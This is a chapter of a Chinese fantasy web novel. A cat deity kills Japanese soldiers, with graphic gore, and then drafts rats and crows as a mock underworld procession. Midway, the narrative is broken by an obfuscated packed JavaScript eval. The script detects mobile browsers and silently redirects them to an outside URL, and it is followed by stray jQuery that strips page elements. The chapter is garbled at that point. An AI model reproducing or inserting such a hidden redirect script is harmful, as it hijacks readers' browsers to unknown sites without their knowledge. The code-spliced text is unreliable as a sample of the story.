焦黑的梁木斜插着,呛人的烟味弥漫在周遭。
几具扭曲焦黑的尸体蜷缩在瓦砾下,早已没了声息。
不远处,几个戴屁帘帽的日本宪兵和几个伪军正背对着这片废墟,指指点点,似乎在清点“战果”,他们的刺刀在午后阳光下闪着冷光。
大黄金色的瞳孔里没什么波澜,只是觉得那几个站着的活物,与脚下这片沉寂的焦土,还有那未散的祈愿里的悲鸣,格外的刺眼。
它抬起了右前爪,对着那几个背影,随意地挥了一下。
几道极其细锐、几乎凝成实质的金线,无声无息地一闪而过。
噗嗤——
轻微的、如同熟透瓜果裂开的声音响起。
那几个宪兵和伪军,身体瞬间从肩膀到腰胯,斜斜地分成了光滑的两截。
上半截滑落,下半截还僵立了一瞬,才轰然倒下。
浓稠的血浆和内脏哗啦一下泼洒在滚烫的焦土和灰烬上,发出滋滋的声响,腾起一阵腥甜的白汽。
大黄低头看了看爪尖,又瞥了眼那几滩迅速蔓延的猩红。
好了,报仇了。
它心里那点因混乱祈愿带来的无名烦躁似乎平息了一丁点。
至于这“仇”是不是那几个死鬼直接动的手,它才懒得细究。
反正看着不顺眼,又正好在眼前晃悠。
状纸的麻烦又涌上心头。
审案?真烦!它讨厌这些弯弯绕绕的东西,讨厌要看那些鬼画符!当城隍怎么这么麻烦!
它焦躁地扒拉耳朵,猛地,它想起在天津戏园子看的《钟馗嫁妹》那钟馗,大红官袍,黑面虬髯,身后跟着牛头马面、黑白无常,小鬼们举着牌子,敲着锣,喷着烟火,浩浩荡荡,多威风!
多气派!多省事!鬼卒们把事都办了,钟馗老爷只需要最后出来审一审,判一判就行!
钟馗一挥手,牛头马面就按住小鬼;再一挥手,黑白无常甩出锁链…
大黄的眼睛“唰”地亮了!
对啊!当城隍,也可以这么干啊!它怎么就没想到呢?
烦闷一扫而空,大黄抖抖毛,跃跃欲试,金色的大眼睛满是兴奋。
金光再次一闪,它的身影消失在弥漫着血腥和焦糊味的废墟之上。
乱葬岗。
歪斜的墓碑,半露的棺木,老槐树下细碎的阴影,在炙热的阳光下竟然格外的静谧。
大黄的身影出现在一座半塌的坟头上。它深吸了一口这里浓郁的阴气和……耗子味儿。
“吱吱——!”
“吱吱吱——!”
草丛里、破棺材下、土洞里,瞬间炸了锅!
无数双绿豆大的、闪着幽光的小眼睛惊恐地望过来。是那群长得快赶上猫大的耗子!它们对这只煞星猫的气味记忆犹新。
“喵嗷——!”大黄发出一声极具穿透力的低吼,带着无上的威压。
耗子们吓得瑟瑟发抖,挤作一团,没一个敢跑的。
大黄跳下坟头,不紧不慢地走过去,在一群筛糠似的大耗子面前踱步,金色的眼瞳挑剔地扫视着。
仪仗队!牛头马面!黑白无常!它需要人手!
它伸出爪子,扒拉着鼠群,专挑那些个头最大、皮毛油光水滑的。
被点中的耗子吓得差点昏厥过去,没被点中的拼命往同伴身后缩。
“你!你!还有你!出来!”大黄用爪子扒拉着几只特别肥硕的。
“站好!排成两排!学人那样站着!挺胸!抬头!”
爪子不停地扒拉。
耗子们都被吓瘫了,哪里懂什么挺胸抬头。
那传进小脑仁里的意念也解读不了。
都是被无形的力量强迫着直立起来,挤挤挨挨地排成了歪歪扭扭的两行,后腿抖得像弹琵琶。
嗯,牛头马面有了。大黄的目光又投向乱葬岗上空盘旋的乌鸦。
它猛地一窜,快如闪电,空中只留下几道残影和几声凄厉的“嘎——!”。
片刻后,两只被揪掉了好几根羽毛、吓得魂飞魄散的乌鸦被丢在了耗子队伍前面。一只羽毛乌黑,一只翅膀上带点灰白。
“你,黑毛的,是黑无常!你,带点灰的,是白无常!叫!
学戏里敲锣开道的声音!‘咣——咣——’!叫!”大黄用爪子戳着两只瘫软的乌鸦。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239303|181882||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>意念传进乌鸦意识中。
乌鸦吓得魂不附体,只会“嘎嘎”乱叫。
“喵嗷!不是嘎!是‘咣——’笨鸟!”
大黄不满地用爪子拍地,溅起一小片尘土。
它自己努力回忆着戏台上的锣声,张开嘴,发出一个怪腔怪调的:“嗷——呜——咣!”试图示范。
乌鸦们更懵了。
暂时不管笨鸟。大黄又想起戏台上钟馗出场时,小鬼们举着的牌子周围飘着的幽幽“鬼火”。
它再次金光一闪,出现在城隍庙的后院。
那里堆着香客们烧剩的香头。它叼起好几根还带着暗红火星的香头,回到乱葬岗。
把香头塞到几只耗子爪子里,大耗子们哆哆嗦嗦地抱着滚烫的香头,吱吱惨叫,又不敢扔。
“叼着!举高点!这就是鬼火!冒烟的鬼火!亮!”大黄命令道。
几点暗红的火星在刺眼的阳光下明灭不定,烟雾缭绕,倒真有几分阴森鬼气。
好了,小鬼、牛头马面、黑白无常、鬼火都有了!就差它自己——威风凛凛的城隍老爷钟馗了!
大黄兴奋地甩着尾巴。
它记得钟馗那身大红官袍和那张吓人的黑脸。
金光再闪。它出现在沧州城一个破败戏班的后台。
那里挂着些褪色的旧戏服。它一眼看中了一块深紫色的、带着金线刺绣的华丽碎片,像是一件大靠的残片。
它一爪勾住,扯了下来。
回到乱葬岗,它把那块沉甸甸的紫布碎片胡乱披在自己身上,金线在阳光下反射出刺眼的光晕。
脸呢?钟馗的黑脸!
大黄四下张望,找到一块不知哪来的破船板。
它伸出锋利的爪子,唰唰两下,在木板上戳了两个圆洞,正好露出它那双在黑暗里发光的金色眼睛,面具好了。
它勾起木板,把“脸”罩在自己毛茸茸的脑袋上。大猫头后隐喻能看见一条金线系着面具。
最后是钟馗的宝剑!它扭头看了看自己蓬松的大尾巴,灵机一动。
跑到旁边灌木丛,咔嚓一声划断一根笔直的树枝,然后用一条金线绑在背侧。